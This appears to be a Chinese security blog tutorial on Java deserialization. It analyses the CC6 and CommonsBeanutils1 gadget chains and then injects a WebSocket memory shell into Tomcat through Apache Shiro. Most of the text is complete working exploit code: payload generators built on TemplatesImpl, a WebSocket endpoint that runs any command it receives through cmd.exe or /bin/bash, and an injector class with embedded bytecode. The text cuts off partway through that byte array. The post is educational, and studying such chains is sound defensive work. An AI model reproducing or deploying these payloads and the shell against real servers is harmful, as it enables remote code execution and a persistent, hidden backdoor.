反序列化分析到shiro注入WebSocket内存马

0x01 前言

因为一直想要学习反序列化相关的内容,并且从反序列化延伸出来学习内存马,所以花了很大一部分精力,从CC1到CB,整体地过了一遍反序列化利用链。在学习过程中,发现一个很有意思的内存马,WebSocket内存马,感觉如果用的好的话,挺符合实际需要的,所以自己大体利用了一下,很成功,在这里整理分享出来。

之前也在知识星球发过这样一篇笔记,具体链接https://t.zsxq.com/0aRBK7pIW,只是大体介绍一下,这里详细说说。

反序列化分析到shiro注入WebSocket内存马_第1张图片

0x02 环境准备

代码分析工具idea

shiro反序列化靶场(Tomcat):https://github.com/yyhuni/shiroMemshell

BurpSuite抓包工具

Websocket内存马相关代码

wscat工具(npm install -g wscat)

0x03 反序列化

反序列化我之前只学过PHP的,JAVA反序列化基本上从0开始学。P牛的《Java安全漫谈》很通俗易懂,很适合新人,然后我是结合着LSF的《Java反序列化漏洞学习 Commons Collection》一起学习的。

什么是序列化和反序列化?

最早在PHP中接触的反序列化,主要是CTF比赛题,但是因为比较靠研究型的东西,现在忘记的差不多了。另外学习的是一个反序列化漏洞,某PHP博客系统前台反序列化getshell,通过unserialize()函数触发的反序列化,感兴趣的可以看看

java反序列化概念:

序列化:将java对象以字节的形式保存到本地磁盘上的过程,也可以理解成将抽象的java对象保存到文件的过程。这里保存的文件可以一直存在,只需要在需要的时候调用即可。

反序列化:将保存下来的java字节码还原成JAVA的过程。

几个关键知识

1、要想有序列化的能力,需要实现Serializable或Externalizable接口。也就是说,一整个利用链中涉及到的类,都需要达到这个要求。

2、ObjectOutputStream.readObject -> 具体类.readObject。序列化的类,需要重写readObject,如果没有重写,则会到其父类的readObject。

3、Java在反序列化的时候有一个机制,序列化时会根据固定算法计算出一个当前版本下类的 serialVersionUID 值,如果反序列化前后serialVersionUID 不同,即版本不同,就会异常退出。

4、反序列化漏洞的产生是因为反序列化过程中,会自动执行到序列化对象所在类的readObject()方法,如果该方法能够通过多次调用触发命令执行,则存在漏洞。

5、CC链的核心就是Transformer,InvokerTransformer实现了Transformer接⼝,反序列化中可以利用InvokerTransformer执行任意对象的任意方法。

6、shiro自带CB,版本为1.8.3。

7、Class.forName 支持加载数组,而 ClassLoader.loadClass 不支持加载数组。

8、如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

CC6详细分析

1、了解过CC链的话,应该都知道CC是因为Transformer可以执行任意代码而产生的。CC6的反序列化利用代码如下,传入一个字符串命令,返回序列化后的字节码。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 {
    public byte[] getPayload(final String commond) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {commond}),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tme);

        outerMap.remove("key");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashSet);
        oos.flush();
        oos.close();

        return barr.toByteArray();
    }

}

2、首先查看最后面,writeObject的是hashSet,可以定位到HashSet.readObject,其重写了readObject方法。

反序列化分析到shiro注入WebSocket内存马_第2张图片

中间应该是有ObjectInputStream.readObject()到HashSet.readObject()的过程,可以参考我之前写的文章:

https://wx.zsxq.com/dweb2/index/topic_detail/584124554842484

反序列化分析到shiro注入WebSocket内存马_第3张图片

3、那么,是怎么从HashSet.readObject()一直到触发transform()的呢,因为知道最后流程会走到InvokerTransformer.transform(),所以直接在这里下一个断点。

反序列化分析到shiro注入WebSocket内存马_第4张图片

简单写个class调用POC

import com.vuln.ser.CommonsCollections6;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payloads));
        ois.readObject();
        ois.close();
    }
}

4、debug之后可以看到是这样调用的

transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
反序列化分析到shiro注入WebSocket内存马_第5张图片

5、与CC1一样,通过LazyMap.get调用到transform。在一个if判断中,如果当前map中的key与传入的key对象不相同,则调用transform执行它。

反序列化分析到shiro注入WebSocket内存马_第6张图片

所以构造POC时,需要执行remove操作。也可以使用clear清空,道理相同。

反序列化分析到shiro注入WebSocket内存马_第7张图片

6、IF判断进入了,这里还有一个问题,transform为this.factory.transform,而我们需要调用的是InvokerTransformer.transform。

查看factory,这是一个Transformer对象;并且在被public修饰的一个decorate方法中,传入一个Map对象和Transformer对象,则调用构造方法执行它们

反序列化分析到shiro注入WebSocket内存马_第8张图片

构造方法也很简单,就是将传入的Transformer对象指定为this.factory

反序列化分析到shiro注入WebSocket内存马_第9张图片

7、有了前面的铺垫,我们可以构造POC中的一部分代码

//创建transformer数组,内容为多次调用InvokerTransformer.transform反射执行Runtime.exec
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{commond}),};

//通过ChainedTransformer循环执行transformers数组内容
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,TransformerChain);

outerMap.remove("key");

8、为什么这里传入的是ChainedTransformer,其实主要是因为ChainedTransformer.transform可以循环执行Transformer数组,方便调用多次InvokerTransformer

反序列化分析到shiro注入WebSocket内存马_第10张图片

9、回到完整的POC,这里有三处地方可以一起解释

反序列化分析到shiro注入WebSocket内存马_第11张图片
反序列化分析到shiro注入WebSocket内存马_第12张图片

第一处,创建一个没有实际意义的Transformer数组;第二处,LazyMap.decorate时,调用的是这个无用的数组;第三处,反射获取class对象的属性并重新赋值。这里的作用只有一个,防止初始化对象的时候就触发命令执行。

其中第三处因为有的时候很多地方需要反射重新赋值,容易显得代码很冗余,所以常常被封装成方法调用。

public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
反序列化分析到shiro注入WebSocket内存马_第13张图片

10、前面发现需要调用LazyMap.get,然后可以定位到TiedMapEntry.getValue,这个方法是调用this.map.get方法,并且在它的构造方法中可以指定map。

反序列化分析到shiro注入WebSocket内存马_第14张图片

这里对应POC中的

TiedMapEntry tme = new TiedMapEntry(outerMap, "key");

11、然后搜索哪里调用了TiedMapEntry.getValue,定位到org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode

反序列化分析到shiro注入WebSocket内存马_第15张图片

12、hashCode就很熟悉了,HashMap.put调用HashMap.hash,HashMap.hash中调用key.hashcode,所以只要设置key为TiedMapEntry对象即可完成后面的调用

反序列化分析到shiro注入WebSocket内存马_第16张图片
反序列化分析到shiro注入WebSocket内存马_第17张图片

13、怎么调用HashMap.put呢,ysoserial中的CC6通过HashSet.readObject,在342行,调用了map.put()

反序列化分析到shiro注入WebSocket内存马_第18张图片

按住command键点击map,可以看到定义了this.map就是HashMap

反序列化分析到shiro注入WebSocket内存马_第19张图片

在HashSet.add可以将key设置进map中

反序列化分析到shiro注入WebSocket内存马_第20张图片

整理出最后的POC部分

HashSet hashSet = new HashSet(1);
hashSet.add(tme);

14、《JAVA安全漫谈》中给出了不同的选择,HashMap.readObject中,1413行直接可以调用到HashMap.hash

反序列化分析到shiro注入WebSocket内存马_第21张图片

所以这里不需要HashSet,直接使用HashMap即可,通过put方法将key设置进map中

Map expMap = new HashMap();
expMap.put(tme, "value");

适合shiro的CC6shiro

1、P牛指出过,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

2、所以针对CC6攻击shiro,需要去掉Transformer数组,使用TemplatesImpl加载Java字节码的方式替换反射Runtime命令执行

这里进行了3次反射赋值,具体流程为:

初始化之后调用 TemplatesImpl#newTransformer()
然后到 TemplatesImpl#getTransletInstance(),这里有限制条件_name不为null,_class为null
继续到 TemplatesImpl#defineTransletClasses(),这里限制_bytecodes不为null
然后 run()方法中调用了_tfactory.getExternalExtensionsMap(),需要_tfactory不能为null

3、要调用TemplatesImpl利用链,那么就需要调用newTransformer,可以通过InvokerTransformer实现,先设置一个无害的getClass方法

反序列化分析到shiro注入WebSocket内存马_第22张图片

后面反射设置值为newTransformer

反序列化分析到shiro注入WebSocket内存马_第23张图片

4、完整的利用代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonCollectionShiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {clazzBytes});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, templates);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();

    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

5、利用CCshiro执行命令弹出计算器

运行环境

反序列化分析到shiro注入WebSocket内存马_第24张图片

生成payload,Evil为简单的打开计算器命令

反序列化分析到shiro注入WebSocket内存马_第25张图片

攻击成功

无CC依赖的CB1

1、CC链已经很久了,commons-collections组件也成为了非必要都禁用的存在。但是很巧的,shiro自带了commons-beanutils1.8.3,所以可以打CB链的反序列化

反序列化分析到shiro注入WebSocket内存马_第26张图片

2、在前面的内容中介绍了一个TemplatesImpl,可以加载执行java字节码,因为内存马的存在,所以TemplatesImpl相对于反射调用Runtime更加实用。

有一个需要注意的点,被加载的恶意类,需要继承AbstractTranslet类,并且继承此类会自动实现两个transform方法。

反序列化分析到shiro注入WebSocket内存马_第27张图片

3、前面介绍了CC链的关键是Transformer可以执行任意方法。CB链的关键则是静态方法 PropertyUtils.getProperty ,可以让使用者直接调用任意JavaBean的getter方法

反序列化分析到shiro注入WebSocket内存马_第28张图片

4、TemplatesImpl利用链Gadget如下,在getOutputProperties方法中调用newTransformer触发利用链。而getOutputProperties正巧符合 JavaBean的getter方法 这一条件

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses() -> 
TransletClassLoader#defineClass()
反序列化分析到shiro注入WebSocket内存马_第29张图片

5、org.apache.commons.beanutils.BeanComparator#compare 中,传入两个对象,如果当前property不为空,则调用PropertyUtils.getProperty处理该对象,符合触发情况

反序列化分析到shiro注入WebSocket内存马_第30张图片

6、定位到property,可以看到BeanComparator存在3个构造方法,如果初始化的时候没有传值,那么默认就是空的,并且通过private修饰。所以需要反射赋值。因为要调用getOutputProperties,所以这里property需要指定值为TemplatesImpl中的属性

反序列化分析到shiro注入WebSocket内存马_第31张图片

搜索Properties属性集,找到_outputProperties

反序列化分析到shiro注入WebSocket内存马_第32张图片

7、然后找哪里调用了compare,CB1中是通过PriorityQueue.siftDownUsingComparator。在compare中有两个参数,一个x为传入的对象,一个c为queue数组中的对象。很容易理解就是传入两个参数并比较它们。

反序列化分析到shiro注入WebSocket内存马_第33张图片

定位comparator,是一个Comparator对象,这里需要的是BeanComparator对象

反序列化分析到shiro注入WebSocket内存马_第34张图片

8、PriorityQueue.siftDown 调用了 siftDownUsingComparator,条件是comparator不为空

反序列化分析到shiro注入WebSocket内存马_第35张图片

9、继续往前,java.util.PriorityQueue#heapify 调用了siftDown

反序列化分析到shiro注入WebSocket内存马_第36张图片

10、然后就到起点了,java.util.PriorityQueue#readObject 调用了heapify

反序列化分析到shiro注入WebSocket内存马_第37张图片

11、Gadget Chain:

getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
readObject:459, ObjectInputStream (java.io)

12、了解了整个CB链还不能使用,如何完成POC编写呢,需要一步一步来

首先知道是通过 TemplatesImpl 加载恶意字节码,这里通过一个专门获取恶意类字节码的库javassist.ClassPool,获取了Evil恶意类字节码

反序列化分析到shiro注入WebSocket内存马_第38张图片

13、然后创建BeanComparator对象。并且因为需要调用PriorityQueue.readObject,所以还需要创建PriorityQueue对象。前面了解了需要指定comparator为BeanComparator对象,找到这个构造方法,需要传递两个参数,一个为需要大于1的整型数字,一个为BeanComparator对象

反序列化分析到shiro注入WebSocket内存马_第39张图片

进一步完善POC

14、下一步,将恶意对象传入queue中,找到java.util.PriorityQueue#offer方法,将传入的对象赋值到queue数组中。

反序列化分析到shiro注入WebSocket内存马_第40张图片

常见的是使用add(),与offer()是一样的,add()最后调用的也是offer()

反序列化分析到shiro注入WebSocket内存马_第41张图片

15、将恶意对象offer进去之后,调用链已经基本完成了,反射指定property值即可。

反序列化分析到shiro注入WebSocket内存马_第42张图片

执行成功弹出计算器

反序列化分析到shiro注入WebSocket内存马_第43张图片

16、然后,不出意外的话,出意外了,前面说到,此时的利用链不能用CC了,但是当我们反射指定property值后,构造方法调用了CC中的类。

反序列化分析到shiro注入WebSocket内存马_第44张图片

解决方法就是自己指定Comparator对象,找了3种方法,放在代码中了,P牛使用的是方法一

17、完整的利用代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        //BeanComparator中引用了CC包中的ComparableComparator类
        //但是shiro中没有CC包,所以使用BeanComparator会报错,所以需要找到替换的类
        /*
            新的类需要满足以下条件:
                1、实现 java.util.Comparator 接口
                2、实现 java.io.Serializable 接口
                3、Java、shiro或commons-beanutils自带,且兼容性强
         */
        //方法一:类 CaseInsensitiveComparator#Comparator
        //通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

        //方法二:类Collections$ReverseComparator
        //通过反射获取类
        //需要转换类型为Comparator
//        Class clazz = Class.forName("java.util.Collections$ReverseComparator");
//        Constructor constructor = clazz.getDeclaredConstructor();
//        constructor.setAccessible(true);
//
//        Comparator ob = (Comparator) constructor.newInstance();
//        final BeanComparator comparator = new BeanComparator(null, ob);

        //方法三:类Collections$ReverseComparator
        //直接调用reverseOrder方法,返回的是一个ReverseComparator对象
//        final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

        // BeanComparator comparator = new BeanComparator();

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();

    }
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
} 
   

利用CB1shiro,成功弹出计算器

0x04 注入WebSocket内存马

在攻防技术稳步提升的社会现状,相较于传统的将一句话木马上传到服务器上的落地文件getshell的方式,更多的是选择直接将内存马注入到中间件或组件中。shiro反序列化注入冰蝎内存马已经有现成的工具并且很适合实战使用了,后面发现Websocket内存马,不同于以往的直接将内存代码打入注册websocket服务。

生成WebSocket内存马

1、首先准备一个WebSocket_Cmd,在onMessage方法中放入命令执行代码。同理要注入websocket只需要改此处内容,详情可以看veo师傅的github项目。

import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;

public class WebSocket_Cmd extends Endpoint implements MessageHandler.Whole {
    private Session session;

    public void onMessage(String message) {
        try {
            boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
            Process exec;
            if (iswin) {
                exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
            } else {
                exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
            }

            InputStream ips = exec.getInputStream();
            StringBuilder sb = new StringBuilder();

            int i;
            while((i = ips.read()) != -1) {
                sb.append((char)i);
            }

            ips.close();
            exec.waitFor();
            this.session.getBasicRemote().sendText(sb.toString());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onOpen(Session session, EndpointConfig config) {
        this.session = session;
        this.session.addMessageHandler(this);
    }
}

2、将恶意类转换成字节数组

import javassist.ClassPool;
import javassist.CtClass;

import java.util.Arrays;

public class GetByteTools {

    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(WebSocket_Cmd.class.getName());
        byte[] payloads = clazz.toBytecode();
        System.out.println(Arrays.toString(payloads));
    }
}
3、通过字节数组,生成内存马。因为要打TemplatesImap,所以继承了AbstractTranslet。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.websocket.DeploymentException;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class TemplatesImplWebSocket extends AbstractTranslet {
    static {
        try {
            String urlPath = "/ws";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            if (standardroot == null){
                Field field;
                try {
                    field = webappClassLoaderBase.getClass().getDeclaredField("resources");
                    field.setAccessible(true);
                }catch (Exception e){
                    field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
                    field.setAccessible(true);
                }
                standardroot = (StandardRoot)field.get(webappClassLoaderBase);
            }
            StandardContext standardContext = (StandardContext) standardroot.getContext();

            //以字节码方式 defineclass
            //字节数组通过 GetByteTools 获取
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Class clazz;
            byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, -110, 10, 0, 30, 0, 75, 8, 0, 76, 10, 0, 77, 0, 78, 10, 0, 8, 0, 79, 8, 0, 80, 10, 0, 8, 0, 81, 10, 0, 82, 0, 83, 7, 0, 84, 8, 0, 85, 8, 0, 86, 10, 0, 82, 0, 87, 8, 0, 88, 8, 0, 89, 10, 0, 90, 0, 91, 7, 0, 92, 10, 0, 15, 0, 75, 10, 0, 93, 0, 94, 10, 0, 15, 0, 95, 10, 0, 93, 0, 96, 10, 0, 90, 0, 97, 9, 0, 29, 0, 98, 11, 0, 99, 0, 100, 10, 0, 15, 0, 101, 11, 0, 102, 0, 103, 7, 0, 104, 10, 0, 25, 0, 105, 11, 0, 99, 0, 106, 10, 0, 29, 0, 107, 7, 0, 108, 7, 0, 109, 7, 0, 111, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 29, 76, 99, 111, 109, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 87, 101, 98, 83, 111, 99, 107, 101, 116, 95, 67, 109, 100, 59, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 4, 101, 120, 101, 99, 1, 0, 19, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 5, 105, 115, 119, 105, 110, 1, 0, 1, 90, 1, 0, 3, 105, 112, 115, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 2, 115, 98, 1, 0, 25, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 1, 105, 1, 0, 1, 73, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 7, 109, 101, 115, 115, 97, 103, 101, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 112, 7, 0, 113, 7, 0, 92, 7, 0, 108, 7, 0, 84, 7, 0, 104, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 6, 99, 111, 110, 102, 105, 103, 1, 0, 32, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 18, 87, 101, 98, 83, 111, 99, 107, 101, 116, 95, 67, 109, 100, 46, 106, 97, 118, 97, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 114, 12, 0, 115, 0, 116, 12, 0, 117, 0, 118, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 119, 0, 120, 7, 0, 121, 12, 0, 122, 0, 123, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 43, 0, 124, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 112, 12, 0, 125, 0, 126, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 113, 12, 0, 127, 0, -128, 12, 0, -127, 0, -126, 12, 0, -125, 0, 35, 12, 0, -124, 0, -128, 12, 0, 32, 0, 33, 7, 0, -123, 12, 0, -122, 0, -120, 12, 0, -119, 0, 118, 7, 0, -117, 12, 0, -116, 0, 42, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, -115, 0, 35, 12, 0, -114, 0, -113, 12, 0, 41, 0, 42, 1, 0, 27, 99, 111, 109, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 87, 101, 98, 83, 111, 99, 107, 101, 116, 95, 67, 109, 100, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, -112, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 